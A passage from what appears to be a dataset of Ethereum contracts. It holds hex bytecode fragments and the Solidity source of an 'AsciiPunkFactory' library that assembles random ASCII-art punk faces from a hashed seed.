3825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212209639c4edd22dcf0e3de6e9f386cec24f5bf71ad9c81ff37ce45c5809b23447ee64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 335 |
0x3c24A5DF4F69199962b163CB5762be1E8367CbEb | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library AsciiPunkFactory {
uint256 private constant TOP_COUNT = 55;
uint256 private constant EYE_COUNT = 48;
uint256 private constant NOSE_COUNT = 9;
uint256 private constant MOUTH_COUNT = 32;
function draw(uint256 seed) public pure returns (string memory) {
uint256 rand = uint256(keccak256(abi.encodePacked(seed)));
string memory top = _chooseTop(rand);
string memory eyes = _chooseEyes(rand);
string memory mouth = _chooseMouth(rand);
string memory chin = unicode" │ │ \n" unicode" └──┘ │ \n";
string memory neck = unicode" │ │ \n" unicode" │ │ \n";
return string(abi.encodePacked(top, eyes, mouth, chin, neck));
}
function _chooseTop(uint256 rand) internal pure returns (string memory) {
string[TOP_COUNT] memory tops =
[
unicode" ┌───┐ \n"
unicode" │ ┼┐ \n"
unicode" ├────┼┼ \n",
unicode" ┌┬┬┬┬┐ \n"
unicode" ╓┬┬┬┬╖ \n"
unicode" ╙┴┴┴┴╜ \n",
unicode" ╒════╕ \n"
unicode" ┌┴────┴┐ \n"
unicode" └┬────┬┘ \n",
unicode" ╒════╕ \n"
unicode" │□□□□│ \n"
unicode" └┬────┬┘ \n",
unicode" ╒════╕ \n"
unicode" │ │ \n"
unicode" └─┬────┬─┘ \n",
unicode" ◙◙◙◙ \n"
unicode" ▄████▄ \n"
unicode" ┌────┐ \n",
unicode" ┌───┐ \n"
unicode"┌──┤ └┐ \n"
unicode"└──┼────┤ \n",
unicode" ┌───┐ \n"
unicode" ┌┘ ├──┐\n"
unicode" ├────┼──┘\n",
unicode" ┌────┐/ \n"
unicode"┌──┴────┴──┐\n"
unicode"└──┬────┬──┘\n",
unicode" ╒════╕ \n"
unicode" ┌─┴────┴─┐ \n"
unicode" └─┬────┬─┘ \n",
unicode" ┌──────┐ \n"
unicode" │▲▲▲▲▲▲│ \n"
unicode" └┬────┬┘ \n",
unicode" ┌┌────┐┐ \n"
unicode" ││┌──┐││ \n"
unicode" └┼┴──┴┼┘ \n",
unicode" ┌────┐ \n"
unicode" ┌┘─ │ \n"
unicode" └┌────┐ \n",
unicode" \n"
unicode" ┌┬┬┬┬┐ \n"
unicode" ├┴┴┴┴┤ \n",
unicode" \n"
unicode" ╓┬╥┐ \n"
unicode" ┌╨┴╨┴┐ \n",
unicode" \n"
unicode" ╒╦╦╦╦╕ \n"
unicode" ╞╩╩╩╩╡ \n",
unicode" \n"
unicode" \n"
unicode" ┌┼┼┼┼┐ \n",
unicode" \n"
unicode" ││││ \n"
unicode" ┌┼┼┼┼┐ \n",
unicode" ╔ \n"
unicode" ╔║ \n"
unicode" ┌─╫╫─┐ \n",
unicode" \n"
unicode" ║║║║ \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" \n"
unicode" ▐▐▐▌▌▌ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" \\///// \n"
unicode" ┌────┐ \n",
unicode" ┐ ┌ \n"
unicode" ┐││││┌ \n"
unicode" ┌────┐ \n",
unicode" ┌┐ ┐┌┐┌┐ \n"
unicode" └└┐││┌┘ \n"
unicode" ┌┴┴┴┴┐ \n",
unicode" ┐┐┐┐┐ \n"
unicode" └└└└└┐ \n"
unicode" └└└└└┐ \n",
unicode" \n"
unicode" ││││││ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" ╓╓╓╓ \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" ╔╔╗╗╗ \n"
unicode" ╔╔╔╗╗╗╗ \n"
unicode" ╔╝╝║ ╚╚╗ \n",
unicode" ╔╔╔╔╔╗ \n"
unicode" ╔╔╔╔╔╗║╗ \n"
unicode" ╝║╨╨╨╨║╚ \n",
unicode" ╔╔═╔═╔ \n"
unicode" ╔╩╔╩╔╝ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" /// \n"
unicode" ┌────┐ \n",
unicode" ╔╗╔╗ \n"
unicode" ╔╗╔╗╝ \n"
unicode" ┌╔╝╔╝┐ \n",
unicode" ╔╔╔╔╝ \n"
unicode" ╔╝╔╝ \n"
unicode" ┌╨╨╨─┐ \n",
unicode" ╔╗ \n"
unicode" ╔╔╔╗╝ \n"
unicode" ┌╚╚╝╝┐ \n",
unicode" ╔════╗ \n"
unicode" ╔╚╚╚╝╝╝╗ \n"
unicode" ╟┌────┐╢ \n",
unicode" ╔═╗ \n"
unicode" ╚╚╚╗ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" \n"
unicode" ⌂⌂⌂⌂ \n"
unicode" ┌────┐ \n",
unicode" ┌────┐ \n"
unicode" │ /└┐ \n"
unicode" ├────┐/ \n",
unicode" \n"
unicode" (((((( \n"
unicode" ┌────┐ \n",
unicode" ┌┌┌┌┌┐ \n"
unicode" ├┘┘┘┘┘ \n"
unicode" ┌────┐ \n",
unicode" «°┐ \n"
unicode" │╪╕ \n"
unicode" ┌└┼──┐ \n",
unicode" <° °> § \n"
unicode" \\'/ / \n"
unicode" {())}} \n",
unicode" ██████ \n"
unicode" ██ ██ ██ \n"
unicode" █ ██████ █ \n",
unicode" ████ \n"
unicode" ██◙◙██ \n"
unicode" ┌─▼▼─┐ \n",
unicode" ╓╖ ╓╖ \n"
unicode" °╜╚╗╔╝╙° \n"
unicode" ┌─╨╨─┐ \n",
unicode" ± ±± ± \n"
unicode" ◙◙◙◙◙◙ \n"
unicode" ┌────┐ \n",
unicode" ♫ ♪ \n"
unicode" ♪ ♫ \n"
unicode" ♪ ┌────┐ \n",
unicode" /≡≡\\ \n"
unicode" /≡≡≡≡\\ \n"
unicode" /┌────┐\\ \n",
unicode" \n"
unicode" ♣♥♦♠♣♥ \n"
unicode" ┌────┐ \n",
unicode" [⌂] \n"
unicode" │ \n"
unicode" ┌────┐ \n",
unicode" /\\/\\/\\/\\ \n"
unicode" \\\\/\\/\\// \n"
unicode" ┌────┐ \n",
unicode" ↑↑↓↓ \n"
unicode" ←→←→AB \n"
unicode" ┌────┐ \n",
unicode" ┌─┬┐ \n"
unicode" ┌┘┌┘└┐ \n"
unicode" ├─┴──┤ \n",
unicode" ☼ ☼ \n"
unicode" \\/ \n"
unicode" ┌────┐ \n"
];
uint256 topId = rand % TOP_COUNT;
return tops[topId];
}
function _chooseEyes(uint256 rand) internal pure returns (string memory) {
string[EYE_COUNT] memory leftEyes =
[
unicode"◕",
unicode"*",
unicode"♥",
unicode"X",
unicode"⊙",
unicode"˘",
unicode"α",
unicode"◉",
unicode"☻",
unicode"¬",
unicode"^",
unicode"═",
unicode"┼",
unicode"┬",
unicode"■",
unicode"─",
unicode"û",
unicode"╜",
unicode"δ",
unicode"│",
unicode"┐",
unicode"┌",
unicode"┌",
unicode"╤",
unicode"/",
unicode"\\",
unicode"/",
unicode"\\",
unicode"╦",
unicode"♥",
unicode"♠",
unicode"♦",
unicode"╝",
unicode"◄",
unicode"►",
unicode"◄",
unicode"►",
unicode"I",
unicode"╚",
unicode"╔",
unicode"╙",
unicode"╜",
unicode"╓",
unicode"╥",
unicode"$",
unicode"○",
unicode"N",
unicode"x"
];
string[EYE_COUNT] memory rightEyes =
[
unicode"◕",
unicode"*",
unicode"♥",
unicode"X",
unicode"⊙",
unicode"˘",
unicode"α",
unicode"◉",
unicode"☻",
unicode"¬",
unicode"^",
unicode"═",
unicode"┼",
unicode"┬",
unicode"■",
unicode"─",
unicode"û",
unicode"╜",
unicode"δ",
unicode"│",
unicode"┐",
unicode"┐",
unicode"┌",
unicode"╤",
unicode"\\",
unicode"/",
unicode"/",
unicode"\\",
unicode"╦",
unicode"♠",
unicode"♣",
unicode"♦",
unicode"╝",
unicode"►",
unicode"◄",
unicode"◄",
unicode"◄",
unicode"I",
unicode"╚",
unicode"╗",
unicode"╜",
unicode"╜",
unicode"╓",
unicode"╥",
unicode"$",
unicode"○",
unicode"N",
unicode"x"
];
uint256 eyeId = rand % EYE_COUNT;
string memory leftEye = leftEyes[eyeId];
string memory rightEye = rightEyes[eyeId];
string memory nose = _chooseNose(rand);
string memory forehead = unicode" │ ├┐ \n";
string memory leftFace = unicode" │";
string memory rightFace = unicode" └│ \n";
return
string(
abi.encodePacked(
forehead,
leftFace,
leftEye,
" ",
rightEye,
rightFace,
nose
)
);
}
function _chooseMouth(uint256 rand) internal pure returns (string memory) {
string[MOUTH_COUNT] memory mouths =
[
unicode" │ │ \n"
unicode" │── │ \n",
unicode" │ │ \n"
unicode" │δ │ \n",
unicode" │ │ \n"
unicode" │─┬ │ \n",
unicode" │ │ \n"
unicode" │(─) │ \n",
unicode" │ │ \n"
unicode" │[─] │ \n",
unicode" │ │ \n"
unicode" │<─> │ \n",
unicode" │ │ \n"
unicode" │╙─ │ \n",
unicode" │ │ \n"
unicode" │─╜ │ \n",
unicode" │ │ \n"
unicode" │└─┘ │ \n",
unicode" │ │ \n"
unicode" │┌─┐ │ \n",
unicode" │ │ \n"
unicode" │╓─ │ \n",
unicode" │ │ \n"
unicode" │─╖ │ \n",
unicode" │ │ \n"
unicode" │┼─┼ │ \n",
unicode" │ │ \n"
unicode" │──┼ │ \n",
unicode" │ │ \n"
unicode" │«─» │ \n",
unicode" │ │ \n"
unicode" │── │ \n",
unicode" ∙ │ │ \n"
unicode" ∙─── │ \n",
unicode" ∙ │ │ \n"
unicode" ∙───) │ \n",
unicode" ∙ │ │ \n"
unicode" ∙───] │ \n",
unicode" │⌐¬ │ \n"
unicode" √──── │ \n",
unicode" │╓╖ │ \n"
unicode" │── │ \n",
unicode" │~~ │ \n"
unicode" │/\\ │ \n",
unicode" │ │ \n"
unicode" │══ │ \n",
unicode" │ │ \n"
unicode" │▼▼ │ \n",
unicode" │⌐¬ │ \n"
unicode" │O │ \n",
unicode" │ │ \n"
unicode" │O │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙─── │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙───) │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙───] │ \n",
unicode" │⌐¬ │ \n"
unicode" │── │ \n",
unicode" │⌐-¬ │ \n"
unicode" │ │ \n",
unicode" │┌-┐ │ \n"
unicode" ││ │ │ \n"
];
uint256 mouthId = rand % MOUTH_COUNT;
return mouths[mouthId];
}
function _chooseNose(uint256 rand) internal pure returns (string memory) {
string[NOSE_COUNT] memory noses =
[
unicode"└",
unicode"╘",
unicode"<",
unicode"└",
unicode"┌",
unicode"^",
unicode"└",
unicode"┼",
unicode"Γ"
];
uint256 noseId = rand % NOSE_COUNT;
string memory nose = noses[noseId];
return string(abi.encodePacked(unicode" │ ", nose, unicode" └┘ \n"));
}
}
| 0x733c24a5df4f69199962b163cb5762be1e8367cbeb30146080604052600436106100355760003560e01c80633b3041471461003a575b600080fd5b61004d610048366004611ad6565b610063565b60405161005a9190611c30565b60405180910390f35b606060008260405160200161007a91815260200190565b6040516020818303038152906040528051906020012060001c905060006100a08261012b565b905060006100ad836107e8565b905060006100ba84611540565b90506000604051806060016040528060288152602001612d44602891399050600060405180606001604052806022815260200161279f602291399050848484848460405160200161010f959493929190611aee565b6040516020818303038152906040529650505050505050919050565b60606000604051806106e00160405280604051806080016040528060458152602001611ed76045913981526020016040518060800160405280604b815260200161300b604b913981526020016040518060800160405280605381526020016121496053913981526020016040518060800160405280604f8152602001612a1b604f913981526020016040518060800160405280604b815260200161259b604b913981526020016040518060800160405280604781526020016120056047913981526020016040518060800160405280604f8152602001612750604f913981526020016040518060800160405280604f815260200161254c604f913981526020016040518060a0016040528060638152602001612d966063913981526020016040518060800160405280605b8152602001611d47605b91398152602001604051806080016040528060578152602001611e8060579139815260200160405180608001604052806057815260200161228760579139815260200160405180608001604052806049815260200161245b6049913981526020016040518060600160405280603f8152602001612c3f603f913981526020016040518060600160405280603b815260200161204c603b913981526020016040518060600160405280603f8152602001612694603f91398152602001604051806060016040528060338152602001612eeb6033913981526020016040518060600160405280603b8152602001612087603b9139815260200160405180606001604052806039815260200161283f6039913981526020016040518060600160405280603b8152602001612659603b913981526020016040518060600160405280603f8152602001612933603f91398152602001604051806060016040528060338152602001612c7e6033913981526020016040518060800160405280604381526020016125096043913981526020016040518060800160405280604f8152602001612bf0604f913981526020016040518060800160405280604981526020016122de6049913981526020016040518060600160405280603f815260200161210a603f913981526020016040518060600160405280603b8152602001612ac1603b913981526020016040518060800160405280604d8152602001612ba3604d913981526020016040518060800160405280605381526020016123de6053913981526020016040518060800160405280604b8152602001611fba604b913981526020016040518060600160405280603381526020016129e8603391398152602001604051806080016040528060458152602001611cdc604591398152602001604051806080016040528060458152602001612e6f6045913981526020016040518060800160405280604181526020016127c16041913981526020016040518060800160405280605381526020016126fd605391398152602001604051806080016040528060418152602001612f1e6041913981526020016040518060600160405280603381526020016121eb6033913981526020016040518060600160405280603b8152602001612fab603b91398152602001604051806080016040528060458152602001611e3b604591398152602001604051806060016040528060338152602001612df96033913981526020016040518060800160405280604b8152602001611f42604b913981526020016040518060600160405280603d81526020016123a1603d913981526020016040518060600160405280602a8152602001612cd3602a913981526020016040518060800160405280604f81526020016125e6604f91398152602001604051806080016040528060478152602001612cfd6047913981526020016040518060800160405280604981526020016128ea60499139815260200160405180608001604052806043815260200161221e6043913981526020016040518060600160405280603d8152602001612802603d913981526020016040518060600160405280603f81526020016124ca603f913981526020016040518060600160405280603f8152602001611da2603f91398152602001604051806060016040528060378152602001612b4960379139815260200160405180606001604052806033815260200161236e603391398152602001604051806080016040528060438152602001612e2c604391398152602001604051806080016040528060478152602001612327604791398152602001604051806060016040528060378152602001612eb4603791399052905060006107b9603785611c93565b90508181603781106107db57634e487b7160e01b600052603260045260246000fd5b6020020151949350505050565b6060600060405180610600016040528060405180604001604052806003815260200162e2979560e81b8152508152602001604051806040016040528060018152602001601560f91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060018152602001600b60fb1b815250815260200160405180604001604052806003815260200162e28a9960e81b815250815260200160405180604001604052806002815260200161197360f31b815250815260200160405180604001604052806002815260200161ceb160f01b815250815260200160405180604001604052806003815260200162e2978960e81b815250815260200160405180604001604052806003815260200162e298bb60e81b81525081526020016040518060400160405280600281526020016130ab60f21b8152508152602001604051806040016040528060018152602001602f60f91b8152508152602001604051806040016040528060038152602001620e295960ec1b81525081526020016040518060400160405280600381526020016238a52f60ea1b81525081526020016040518060400160405280600381526020016238a52b60ea1b8152508152602001604051806040016040528060038152602001620714b560ed1b81525081526020016040518060400160405280600381526020016201c52960ef1b815250815260200160405180604001604052806002815260200161c3bb60f01b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600281526020016133ad60f21b815250815260200160405180604001604052806003815260200162714a4160e91b8152508152602001604051806040016040528060038152602001620e294960ec1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a56960ea1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b815250815260200160405180604001604052806003815260200162714ad360e91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060038152602001620714cd60ed1b815250815260200160405180604001604052806003815260200162714cd360e91b815250815260200160405180604001604052806003815260200162e2959d60e81b81525081526020016040518060400160405280600381526020016238a5e160ea1b815250815260200160405180604001604052806003815260200162714b5d60e91b81525081526020016040518060400160405280600381526020016238a5e160ea1b815250815260200160405180604001604052806003815260200162714b5d60e91b8152508152602001604051806040016040528060018152602001604960f81b815250815260200160405180604001604052806003815260200162714acd60e91b81525081526020016040518060400160405280600381526020016238a56560ea1b815250815260200160405180604001604052806003815260200162e2959960e81b81525081526020016040518060400160405280600381526020016238a56760ea1b815250815260200160405180604001604052806003815260200162e2959360e81b815250815260200160405180604001604052806003815260200162e295a560e81b8152508152602001604051806040016040528060018152602001600960fa1b815250815260200160405180604001604052806003815260200162e2978b60e81b8152508152602001604051806040016040528060018152602001602760f91b8152508152602001604051806040016040528060018152602001600f60fb1b8152508152509050600060405180610600016040528060405180604001604052806003815260200162e2979560e81b8152508152602001604051806040016040528060018152602001601560f91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060018152602001600b60fb1b815250815260200160405180604001604052806003815260200162e28a9960e81b815250815260200160405180604001604052806002815260200161197360f31b815250815260200160405180604001604052806002815260200161ceb160f01b815250815260200160405180604001604052806003815260200162e2978960e81b815250815260200160405180604001604052806003815260200162e298bb60e81b81525081526020016040518060400160405280600281526020016130ab60f21b8152508152602001604051806040016040528060018152602001602f60f91b8152508152602001604051806040016040528060038152602001620e295960ec1b81525081526020016040518060400160405280600381526020016238a52f60ea1b81525081526020016040518060400160405280600381526020016238a52b60ea1b8152508152602001604051806040016040528060038152602001620714b560ed1b81525081526020016040518060400160405280600381526020016201c52960ef1b815250815260200160405180604001604052806002815260200161c3bb60f01b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600281526020016133ad60f21b815250815260200160405180604001604052806003815260200162714a4160e91b8152508152602001604051806040016040528060038152602001620e294960ec1b8152508152602001604051806040016040528060038152602001620e294960ec1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a56960ea1b8152508152602001604051806040016040528060018152602001601760fa1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b815250815260200160405180604001604052806003815260200162714ad360e91b8152508152602001604051806040016040528060038152602001620714cd60ed1b815250815260200160405180604001604052806003815260200162e299a360e81b815250815260200160405180604001604052806003815260200162714cd360e91b815250815260200160405180604001604052806003815260200162e2959d60e81b815250815260200160405180604001604052806003815260200162714b5d60e91b81525081526020016040518060400160405280600381526020016238a5e160ea1b81525081526020016040518060400160405280600381526020016238a5e160ea1b81525081526020016040518060400160405280600381526020016238a5e160ea1b8152508152602001604051806040016040528060018152602001604960f81b815250815260200160405180604001604052806003815260200162714acd60e91b815250815260200160405180604001604052806003815260200162e2959760e81b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600381526020016238a56760ea1b815250815260200160405180604001604052806003815260200162e2959360e81b815250815260200160405180604001604052806003815260200162e295a560e81b8152508152602001604051806040016040528060018152602001600960fa1b815250815260200160405180604001604052806003815260200162e2978b60e81b8152508152602001604051806040016040528060018152602001602760f91b8152508152602001604051806040016040528060018152602001600f60fb1b8152508152509050600060308561143f9190611c93565b9050600083826030811061146357634e487b7160e01b600052603260045260246000fd5b60200201519050600083836030811061148c57634e487b7160e01b600052603260045260246000fd5b60200201519050600061149e8861193e565b6040805180820182526013815272101010714a4110101010714a4e714a4810100560691b602080830191909152825180840184526006815265101010714a4160d11b8183015283518085018552600a81526910714a4a714a4110100560b11b818401529351949550919391929161152191859185918a918a9187918b9101611b59565b6040516020818303038152906040529950505050505050505050919050565b60606000604051806104000160405280604051806060016040528060268152602001612261602691398152602001604051806060016040528060238152602001612b80602391398152602001604051806060016040528060268152602001611f1c60269139815260200160405180606001604052806024815260200161263560249139815260200160405180606001604052806024815260200161289e602491398152602001604051806060016040528060248152602001612f87602491398152602001604051806060016040528060268152602001611d2160269139815260200160405180606001604052806026815260200161299c602691398152602001604051806060016040528060288152602001611cb4602891398152602001604051806060016040528060288152602001612afc6028913981526020016040518060600160405280602681526020016129c26026913981526020016040518060600160405280602681526020016120c2602691398152602001604051806060016040528060288152602001612f5f6028913981526020016040518060600160405280602881526020016128c26028913981526020016040518060600160405280602681526020016121c56026913981526020016040518060600160405280602681526020016122616026913981526020016040518060600160405280602a81526020016126d3602a913981526020016040518060600160405280602a8152602001612972602a913981526020016040518060600160405280602a8152602001612d6c602a913981526020016040518060600160405280602d8152602001612a94602d913981526020016040518060600160405280602a8152602001612a6a602a913981526020016040518060600160405280602281526020016120e86022913981526020016040518060600160405280602681526020016128786026913981526020016040518060600160405280602681526020016124a4602691398152602001604051806060016040528060258152602001612fe6602591398152602001604051806060016040528060228152602001612cb16022913981526020016040518060600160405280602d8152602001611f8d602d913981526020016040518060600160405280602d8152602001611e0e602d913981526020016040518060600160405280602d8152602001611de1602d9139815260200160405180606001604052806029815260200161219c602991398152602001604051806060016040528060258152602001612b246025913981526020016040518060600160405280602a8152602001612431602a913990529050600061191c602085611c93565b90508181602081106107db57634e487b7160e01b600052603260045260246000fd5b606060006040518061012001604052806040518060400160405280600381526020016238a52560ea1b8152508152602001604051806040016040528060038152602001621c52b360eb1b8152508152602001604051806040016040528060018152602001600f60fa1b81525081526020016040518060400160405280600381526020016238a52560ea1b81525081526020016040518060400160405280600381526020016238a52360ea1b8152508152602001604051806040016040528060018152602001602f60f91b81525081526020016040518060400160405280600381526020016238a52560ea1b81525081526020016040518060400160405280600381526020016238a52f60ea1b815250815260200160405180604001604052806002815260200161ce9360f01b81525081525090506000600984611a819190611c93565b90506000828260098110611aa557634e487b7160e01b600052603260045260246000fd5b6020020151905080604051602001611abd9190611beb565b6040516020818303038152906040529350505050919050565b600060208284031215611ae7578081fd5b5035919050565b60008651611b00818460208b01611c63565b865190830190611b14818360208b01611c63565b8651910190611b27818360208a01611c63565b8551910190611b3a818360208901611c63565b8451910190611b4d818360208801611c63565b01979650505050505050565b600087516020611b6c8285838d01611c63565b885191840191611b7f8184848d01611c63565b8851920191611b918184848c01611c63565b600160fd1b92019182528651611bad8160018501848b01611c63565b8651920191611bc28160018501848a01611c63565b8551920191611bd78160018501848901611c63565b919091016001019998505050505050505050565b660101010714a41160cd1b81528151600090611c0e816007850160208701611c63565b6a1010714a4a714a4c10100560a91b6007939091019283015250601201919050565b6000602082528251806020840152611c4f816040850160208701611c63565b601f01601f19169190910160400192915050565b60005b83811015611c7e578181015183820152602001611c66565b83811115611c8d576000848401525b50505050565b600082611cae57634e487b7160e01b81526012600452602481fd5b50069056fe202020e2948220202020e294822020200a202020e29482e29494e29480e2949820e294822020200a2020202020e29594e29597e29594e295972020200a20202020e29594e29597e29594e29597e2959d2020200a202020e2948ce29594e2959de29594e2959de294902020200a202020e2948220202020e294822020200a202020e29482e29599e294802020e294822020200a202020e29592e29590e29590e29590e29590e295952020200a20e2948ce29480e294b4e29480e29480e29480e29480e294b4e29480e29490200a20e29494e29480e294ace29480e29480e29480e29480e294ace29480e29498200a2020202020202020202020200a202020e299a3e299a5e299a6e299a0e299a3e299a52020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e294805d2020e294822020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e29480292020e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e294822020202fe29494e2949020200a202020e2949ce29480e29480e29480e29480e294902f20200a2020e2948ce29480e29480e29480e29480e29480e29480e2949020200a2020e29482e296b2e296b2e296b2e296b2e296b2e296b2e2948220200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e2948ce29480e29480e29480e29490202020200a202020e29482202020e294bce294902020200a202020e2949ce29480e29480e29480e29480e294bce294bc20200a202020e2948220202020e294822020200a202020e29482e29480e294ac2020e294822020200a202020e2948ce2948ce2948ce2948ce2948ce294902020200a202020e2949ce29498e29498e29498e29498e294982020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e29480202020e294822020200a202020e29594e29594e29590e29594e29590e295942020200a202020e29594e295a9e29594e295a9e29594e2959d2020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e29799e29799e29799e29799202020200a202020e29684e29688e29688e29688e29688e296842020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020202020202020200a20202020e29593e294ace295a5e29490202020200a202020e2948ce295a8e294b4e295a8e294b4e294902020200a2020202020202020202020200a20202020e29482e29482e29482e29482202020200a202020e2948ce294bce294bce294bce294bce294902020200a202020e2948220202020e294822020200a202020e29482e29480e295962020e294822020200a202020e294827e7e2020e294822020200a202020e294822f5c2020e294822020200a2020202020202020202020200a202020e29482e29482e29482e29482e29482e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29592e29590e29590e29590e29590e295952020200a2020e2948ce294b4e29480e29480e29480e29480e294b4e2949020200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e29482e28c90c2ac2020e294822020200a202020e29482e29480e294802020e294822020200a202020e2948220202020e294822020200a202020e29482c2abe29480c2bb20e294822020200a2020202020202020202020200a2020202020202020202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a202020c2b120c2b1c2b120c2b12020200a202020e29799e29799e29799e29799e29799e297992020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e29480e294802020e294822020200a2020e2948ce2948ce29480e29480e29480e29480e29490e2949020200a2020e29482e29482e2948ce